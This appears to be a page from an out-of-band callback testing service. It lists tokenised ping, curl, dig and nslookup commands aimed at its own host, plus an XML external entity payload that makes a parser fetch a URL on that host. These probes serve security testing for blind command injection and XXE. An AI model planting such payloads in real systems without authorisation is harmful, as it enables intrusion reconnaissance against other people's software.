$ ping -c1 -p 00533ee303a893f93cca0c12404c4800 unhack.ca
 

$ curl http://unhack.ca/p/533ee303a893f93cca0c12404c48
 

$ dig 533ee303a893f93cca0c12404c48 @unhack.ca
 

$ dig 533ee303a893f93cca0c12404c48.ns.unhack.ca
 

C:\> nslookup 533ee303a893f93cca0c12404c48 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/533ee303a893f93cca0c12404c48">]>
    <foo>&xxe;</foo>